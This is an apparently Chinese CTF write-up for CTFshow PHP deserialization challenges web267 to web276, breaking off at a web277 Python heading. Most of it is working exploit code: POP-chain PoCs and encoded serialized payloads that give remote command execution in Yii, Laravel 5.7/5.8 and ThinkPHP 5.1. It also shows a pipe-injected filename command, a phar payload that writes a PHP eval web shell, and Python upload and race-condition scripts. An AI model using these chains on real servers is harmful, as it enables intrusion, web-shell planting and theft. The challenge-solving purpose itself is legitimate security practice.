弱密码admin/admin登陆后，About界面发现注释<!--?view-source -->

于是访问index.php?r=site/about&view-source

///backdoor/shell

unserialize(base64_decode($_GET['code']))

搜了一下知道是 Yii 框架的反序列化漏洞。

Yii反序列化漏洞分析

Poc

<?php

namespace yii\rest{

class CreateAction{

public $checkAccess;

public $id;

public function __construct(){

$this->checkAccess = 'shell_exec';

$this->id = 'cp /flag 3.txt';

}

}

}

namespace Faker{

use yii\rest\CreateAction;

class Generator{

protected $formatters;

public function __construct(){

$this->formatters['close'] = [new CreateAction, 'run'];

}

}

}

namespace yii\db{

use Faker\Generator;

class BatchQueryResult{

private $_dataReader;

public function __construct(){

$this->_dataReader = new Generator;

}

}

}

namespace{

echo base64_encode(serialize(new yii\db\BatchQueryResult));

}

?>

这里 system 不能用，用了 shell_exec。

Payload:

/index.php?r=backdoor%2Fshell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6MTA6InNoZWxsX2V4ZWMiO3M6MjoiaWQiO3M6MTQ6ImNwIC9mbGFnIDMudHh0Ijt9aToxO3M6MzoicnVuIjt9fX19

web268-270(Yii框架)

做法一样但是需要修改poc，因为存在过滤

<?php

namespace yii\rest {

class Action

{

public $checkAccess;

}

class IndexAction

{

public function __construct($func, $param)

{

$this->checkAccess = $func;

$this->id = $param;

}

}

}

namespace yii\web {

abstract class MultiFieldSession

{

public $writeCallback;

}

class DbSession extends MultiFieldSession

{

public function __construct($func, $param)

{

$this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"];

}

}

}

namespace yii\db {

use yii\base\BaseObject;

class BatchQueryResult

{

private $_dataReader;

public function __construct($func, $param)

{

$this->_dataReader = new \yii\web\DbSession($func, $param);

}

}

}

namespace {

$exp = new \yii\db\BatchQueryResult('shell_exec', 'cp /f* 1.txt'); //此处写命令

echo(base64_encode(serialize($exp)));

}

Payload:?r=backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNzoieWlpXHdlYlxEYlNlc3Npb24iOjE6e3M6MTM6IndyaXRlQ2FsbGJhY2siO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czoxMDoic2hlbGxfZXhlYyI7czoyOiJpZCI7czoxMjoiY3AgL2YqIDEudHh0Ijt9aToxO3M6MzoicnVuIjt9fX0=

web271(Laravel5.7 反序列化漏洞)

Laravel5.7反序列化RCE漏洞分析

空格被过滤注意修改最后的payload

Poc

<?php

namespace Illuminate\Foundation\Testing{

class PendingCommand{

protected $command;

protected $parameters;

protected $app;

public $test;

public function __construct($command, $parameters,$class,$app){

$this->command = $command;

$this->parameters = $parameters;

$this->test=$class;

$this->app=$app;

}

}

}

namespace Illuminate\Auth{

class GenericUser{

protected $attributes;

public function __construct(array $attributes){

$this->attributes = $attributes;

}

}

}

namespace Illuminate\Foundation{

class Application{

protected $hasBeenBootstrapped = false;

protected $bindings;

public function __construct($bind){

$this->bindings=$bind;

}

}

}

namespace{

$genericuser = new Illuminate\Auth\GenericUser(

array(

"expectedOutput"=>array("0"=>"1"),

"expectedQuestions"=>array("0"=>"1")

)

);

$application = new Illuminate\Foundation\Application(

array(

"Illuminate\Contracts\Console\Kernel"=>

array(

"concrete"=>"Illuminate\Foundation\Application"

)

)

);

$pendingcommand = new Illuminate\Foundation\Testing\PendingCommand(

"system",array('tac /fl*'),

$genericuser,

$application

);

echo urlencode(serialize($pendingcommand));

}

或者使用phpgccphp phpggc Laravel/RCE6 "system('cat /flag');" --url

Payload:

POST: data=O%3A44%3A%22Illuminate%5CFoundation%5CTesting%5CPendingCommand%22%3A4%3A%7Bs%3A10%3A%22%00%2A%00command%22%3Bs%3A6%3A%22system%22%3Bs%3A13%3A%22%00%2A%00parameters%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A8%3A%22tac+%2Ffl%2A%22%3B%7Ds%3A6%3A%22%00%2A%00app%22%3BO%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3A2%3A%7Bs%3A22%3A%22%00%2A%00hasBeenBootstrapped%22%3Bb%3A0%3Bs%3A11%3A%22%00%2A%00bindings%22%3Ba%3A1%3A%7Bs%3A35%3A%22Illuminate%5CContracts%5CConsole%5CKernel%22%3Ba%3A1%3A%7Bs%3A8%3A%22concrete%22%3Bs%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3B%7D%7D%7Ds%3A4%3A%22test%22%3BO%3A27%3A%22Illuminate%5CAuth%5CGenericUser%22%3A1%3A%7Bs%3A13%3A%22%00%2A%00attributes%22%3Ba%3A2%3A%7Bs%3A14%3A%22expectedOutput%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A1%3A%221%22%3B%7Ds%3A17%3A%22expectedQuestions%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A1%3A%221%22%3B%7D%7D%7D%7D

web272-273(Laravel5.8 反序列化漏洞)

<?php

namespace PhpParser\Node\Scalar\MagicConst{

class Line { }

}

namespace Mockery\Generator{

class MockDefinition

{

protected $config;

protected $code;

public function __construct($config, $code)

{

$this->config = $config;

$this->code = $code;

}

}

}

namespace Mockery\Loader{

class EvalLoader{ }

}

namespace Illuminate\Bus{

class Dispatcher

{

protected $queueResolver;

public function __construct($queueResolver)

{

$this->queueResolver = $queueResolver;

}

}

}

namespace Illuminate\Foundation\Console{

class QueuedCommand

{

public $connection;

public function __construct($connection)

{

$this->connection = $connection;

}

}

}

namespace Illuminate\Broadcasting{

class PendingBroadcast

{

protected $events;

protected $event;

public function __construct($events, $event)

{

$this->events = $events;

$this->event = $event;

}

}

}

namespace{

$line = new PhpParser\Node\Scalar\MagicConst\Line();

$mockdefinition = new Mockery\Generator\MockDefinition($line,"<?php system('cat /f*');exit;?>");

$evalloader = new Mockery\Loader\EvalLoader();

$dispatcher = new Illuminate\Bus\Dispatcher(array($evalloader,'load'));

$queuedcommand = new Illuminate\Foundation\Console\QueuedCommand($mockdefinition);

$pendingbroadcast = new Illuminate\Broadcasting\PendingBroadcast($dispatcher,$queuedcommand);

echo urlencode(serialize($pendingbroadcast));

}

或者使用phpgcc

Payload:

POST: data=O%3A29%3A%22Illuminate%5CSupport%5CMessageBag%22%3A2%3A%7Bs%3A11%3A%22%00%2A%00messages%22%3Ba%3A0%3A%7B%7Ds%3A9%3A%22%00%2A%00format%22%3BO%3A40%3A%22Illuminate%5CBroadcasting%5CPendingBroadcast%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00events%22%3BO%3A25%3A%22Illuminate%5CBus%5CDispatcher%22%3A1%3A%7Bs%3A16%3A%22%00%2A%00queueResolver%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A25%3A%22Mockery%5CLoader%5CEvalLoader%22%3A0%3A%7B%7Di%3A1%3Bs%3A4%3A%22load%22%3B%7D%7Ds%3A8%3A%22%00%2A%00event%22%3BO%3A38%3A%22Illuminate%5CBroadcasting%5CBroadcastEvent%22%3A1%3A%7Bs%3A10%3A%22connection%22%3BO%3A32%3A%22Mockery%5CGenerator%5CMockDefinition%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00config%22%3BO%3A35%3A%22Mockery%5CGenerator%5CMockConfiguration%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00name%22%3Bs%3A7%3A%22abcdefg%22%3B%7Ds%3A7%3A%22%00%2A%00code%22%3Bs%3A35%3A%22%3C%3Fphp%20system%28%27cat%20%2Fflag%27%29%3B%20exit%3B%20%3F%3E%22%3B%7D%7D%7D%7D

web274(Thinkphp5.1反序列化漏洞)

Thinkphp5.1 反序列化漏洞复现

<?php

namespace think;

abstract class Model{

protected $append = [];

private $data = [];

function __construct(){

$this->append = ["lin"=>["calc.exe","calc"]];

$this->data = ["lin"=>new Request()];

}

}

class Request

{

protected $hook = [];

protected $filter = "system"; //PHP函数

protected $config = [

// 表单ajax伪装变量

'var_ajax' => '_ajax',

];

function __construct(){

$this->filter = "system";

$this->config = ["var_ajax"=>'lin']; //PHP函数的参数

$this->hook = ["visible"=>[$this,"isAjax"]];

}

}

namespace think\process\pipes;

use think\model\concern\Conversion;

use think\model\Pivot;

class Windows

{

private $files = [];

public function __construct()

{

$this->files=[new Pivot()];

}

}

namespace think\model;

use think\Model;

class Pivot extends Model

{

}

use think\process\pipes\Windows;

echo base64_encode(serialize(new Windows()));

?>

Payload:

/?lin=tac /flag&data=TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czozOiJsaW4iO2E6Mjp7aTowO3M6ODoiY2FsYy5leGUiO2k6MTtzOjQ6ImNhbGMiO319czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czozOiJsaW4iO086MTM6InRoaW5rXFJlcXVlc3QiOjM6e3M6NzoiACoAaG9vayI7YToxOntzOjc6InZpc2libGUiO2E6Mjp7aTowO3I6OTtpOjE7czo2OiJpc0FqYXgiO319czo5OiIAKgBmaWx0ZXIiO3M6Njoic3lzdGVtIjtzOjk6IgAqAGNvbmZpZyI7YToxOntzOjg6InZhcl9hamF4IjtzOjM6ImxpbiI7fX19fX19

web275

<?php

class filter{

public $filename;

public $filecontent;

public $evilfile=false;

public function __construct($f,$fn){

$this->filename=$f;

$this->filecontent=$fn;

}

public function checkevil(){

if(preg_match('/php|\.\./i', $this->filename)){

$this->evilfile=true;

}

if(preg_match('/flag/i', $this->filecontent)){

$this->evilfile=true;

}

return $this->evilfile;

}

public function __destruct(){

if($this->evilfile){

system('rm '.$this->filename);

}

}

}

if(isset($_GET['fn'])){

$content = file_get_contents('php://input');

$f = new filter($_GET['fn'],$content);

if($f->checkevil()===false){

file_put_contents($_GET['fn'], $content);

copy($_GET['fn'],md5(mt_rand()).'.txt');

unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);

echo 'work done';

}

}else{

echo 'where is flag?';

}

没仔细看下面的，看到了__destruct可以调用system所以只需要满足checkevil的正则匹配，执行system即可

Payload

GET: ?fn=|tac fla*

POST: flag

web276(Phar反序列化)

<?php

highlight_file(__FILE__);

class filter{

public $filename;

public $filecontent;

public $evilfile=false;

public $admin = false;

public function __construct($f,$fn){

$this->filename=$f;

$this->filecontent=$fn;

}

public function checkevil(){

if(preg_match('/php|\.\./i', $this->filename)){

$this->evilfile=true;

}

if(preg_match('/flag/i', $this->filecontent)){

$this->evilfile=true;

}

return $this->evilfile;

}

public function __destruct(){

if($this->evilfile && $this->admin){

system('rm '.$this->filename);

}

}

}

if(isset($_GET['fn'])){

$content = file_get_contents('php://input');

$f = new filter($_GET['fn'],$content);

if($f->checkevil()===false){

file_put_contents($_GET['fn'], $content);

copy($_GET['fn'],md5(mt_rand()).'.txt');

unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);

echo 'work done';

}

}else{

echo 'where is flag?';

}

__destruct()加了条件，但是admin不可控

初探phar://

首先构造 phar 的文件，将 filter 存储在 meta-data 中以备反序列化。

<?php

class filter

{

public $filename = "a;echo '<?php @eval(\$_POST[1]); ?>' > shell.php";

public $filecontent;

public $evilfile = true;

public $admin = true;

}

@unlink("payload.phar");

$phar = new Phar("payload.phar"); //后缀名必须为phar

$phar->startBuffering();

$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub

$o = new filter();

$phar->setMetadata($o); //将自定义的meta-data存入manifest

$phar->addFromString("test.txt", "test"); //添加要压缩的文件

//签名自动计算

$phar->stopBuffering();

echo "done.";

然后因为文件名加上 /var/www/html/ 后 unlink 的参数就会有两遍路径，删不掉，就可以持久化上传文件了，当然也可以通过条件竞争去反序列化这个 phar。

import requests

url = "https://39afeb37-98e3-49cc-9a59-ba48da61ff09.challenge.ctf.show/"

target = "/var/www/html/d.phar"

with open("CTFshow\php-unserialize\payload.phar", "rb") as f:

payload = f.read()

_ = requests.post(f"{ url}/?fn={ target}", data=payload)

target = "phar://d.phar/test"

_ = requests.post(f"{ url}/?fn={ target}")

条件竞争

import requests

import threading

url="https://39afeb37-98e3-49cc-9a59-ba48da61ff09.challenge.ctf.show/"code>

f=open("CTFshow\php-unserialize\payload.phar","rb")

content=f.read()

def upload(): #上传1.phar，内容是本地文件：phar.phar

requests.post(url=url+"?fn=d.phar",data=content)

def read(): #利用条件竞争，尝试phar://反序列化1.phar，1.phar没被删除就能被反序列化，因而就能执行system()函数从而执行我们的命令

r = requests.post(url=url+"?fn=phar://d.phar/test",data="1=system('tac flag.php)")code>

if "ctfshow{"in r.text or "flag{" in r.text:

print(r.text)

exit()

while 1:

t1=threading.Thread(target=upload)

t2=threading.Thread(target=read)

t1.start()

t2.start()

web277(python反序列化)